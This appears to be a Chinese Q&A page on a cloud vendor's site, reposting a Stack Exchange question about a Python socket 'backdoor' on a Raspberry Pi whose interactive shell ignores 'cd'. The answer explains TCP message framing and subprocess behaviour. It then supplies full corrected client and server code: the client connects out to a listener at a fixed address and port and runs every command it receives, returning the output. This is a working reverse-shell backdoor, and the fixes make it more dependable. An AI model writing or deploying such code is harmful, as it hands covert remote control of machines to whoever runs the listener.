You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Python Socket编写树莓派后门时交互式shell cd命令失效问题

问题根因
  • 核心故障点是TCP协议为面向流的传输,没有内置消息边界,你没有做消息拆分逻辑:客户端第一次调用recv()时,大概率会把服务端发送的shell模式标识和后面紧跟的第一条用户命令(比如你输入的cd 1)一次性读入缓冲区,得到的字符串为shellcd 1,完全匹配不上command == 'shell'的判断,因此你写的内层交互式shell循环从来没有被触发过。
  • 所有命令实际都在外层分支通过subprocess.getoutput()执行,该函数每次调用都会启动一个全新的独立子shell,子shell内的cd操作仅在当前子进程生命周期内生效,子进程退出后Python客户端主进程的工作目录不会发生任何改变。后续执行pwd时新启动的子shell会继承主进程的原始工作目录,因此永远返回/home/pi。
  • 组合命令中pwd返回正确路径,是因为整条组合命令在同一个子shell内顺序执行,cd操作仅在这个子shell内生效,子shell退出后主进程工作目录依然是原始路径,后续命令还是在原目录运行。
  • 次要显示bug:服务端收到客户端返回的最新工作目录后,从未更新本地存储的cwd变量,命令行提示符永远显示连接建立时拿到的初始目录,即使后续目录真的切换成功,提示符也不会刷新。
  • 逻辑隐患:处理cd命令时手动拼接当前工作目录和用户输入路径,遇到绝对路径(如cd /etc)、上级目录跳转(如cd ..)、家目录路径(如cd ~/Downloads)时会出现路径解析错误,os.chdir()本身原生支持所有合法路径格式,不需要手动拼接。
修复方案

客户端修复

  1. 增加简单的消息接收逻辑,按固定消息分隔符拆分TCP流,解决粘包导致的命令识别错误
  2. 移除cd命令的手动路径拼接逻辑,直接传入用户输入的路径
  3. 补全cd命令的异常捕获,覆盖权限不足、路径不存在等各类错误场景

修正后客户端代码:

import socket, json
import os
import subprocess
import sys

SERVER_HOST = '192.168.100.8'
SERVER_PORT = 4343
BUFFER_SIZE = 1024 * 128
SEPARATOR = "<sep>"
MSG_END = "<end>" # 新增消息结束标识,解决粘包问题


def recv_all(sock):
    """循环接收直到碰到消息结束标识,返回完整消息"""
    data = b""
    while not data.endswith(MSG_END.encode()):
        chunk = sock.recv(BUFFER_SIZE)
        if not chunk:
            break
        data += chunk
    return data.decode().removesuffix(MSG_END)


s = socket.socket()
s.connect((SERVER_HOST, SERVER_PORT))

data = json.dumps({"cwd": os.getcwd(), "usr": os.getlogin()})
s.send((data + MSG_END).encode()) # 消息末尾加结束标识

while True:
    command = recv_all(s)
    if command == 'shell':
        while True:
            command = recv_all(s)
            if command.lower() == "exit":
                break
            if command.startswith("cd "):
                target_path = command[3:].strip()
                try:
                    os.chdir(target_path) # 直接传路径,不需要手动拼接
                    output = ""
                except Exception as e: # 捕获所有cd相关错误,不止FileNotFoundError
                    output = str(e)
            else:
                output = subprocess.getoutput(command)
            cwd = os.getcwd()
            message = f"{output}{SEPARATOR}{cwd}{MSG_END}"
            s.send(message.encode())
    else:
        if command.lower() == "exit":
            break
        else:
            output = subprocess.getoutput(command)
        cwd = os.getcwd()
        message = f"{output}{SEPARATOR}{cwd}{MSG_END}"
        s.send(message.encode())
s.close()

服务端修复

  1. 复用相同的消息接收逻辑,解决粘包问题
  2. 每次收到客户端返回的最新cwd后,更新本地存储的cwd变量,实时刷新命令提示符

修正后服务端代码:

import socket,json
import os

SERVER_HOST = "192.168.100.8"
SERVER_PORT = 4343
BUFFER_SIZE = 1024 * 128
SEPARATOR = "<sep>"
MSG_END = "<end>"


def recv_all(sock):
    """循环接收直到碰到消息结束标识,返回完整消息"""
    data = b""
    while not data.endswith(MSG_END.encode()):
        chunk = sock.recv(BUFFER_SIZE)
        if not chunk:
            break
        data += chunk
    return data.decode().removesuffix(MSG_END)


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((SERVER_HOST, SERVER_PORT))
s.listen()

while True:
    client_socket, client_address = s.accept()

    data = json.loads(recv_all(client_socket))
    while True:
        print("TYPE SHELL")
        tmp = input(f"[*] Enter command: ")
        client_socket.send((tmp + MSG_END).encode()) # 消息末尾加结束标识
        if tmp.lower() == 'shell':
                print("[*] Opening interactive shell")
                while True:
                    command = input(f"{data['cwd']} $: ")
                    if not command.strip():
                        continue
                    client_socket.send((command + MSG_END).encode())
                    if command.lower() == 'exit':
                        print('[!] Closing interactive shell')
                        break
                    output = recv_all(client_socket)
                    results, cwd = output.split(SEPARATOR)
                    print(results)
                    data['cwd'] = cwd # 更新本地存储的cwd,刷新提示符
        elif tmp.lower() == 'exit':
            client_socket.close()
            break

内容的提问来源于stack exchange,提问作者mikef0x

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.29 08:54:18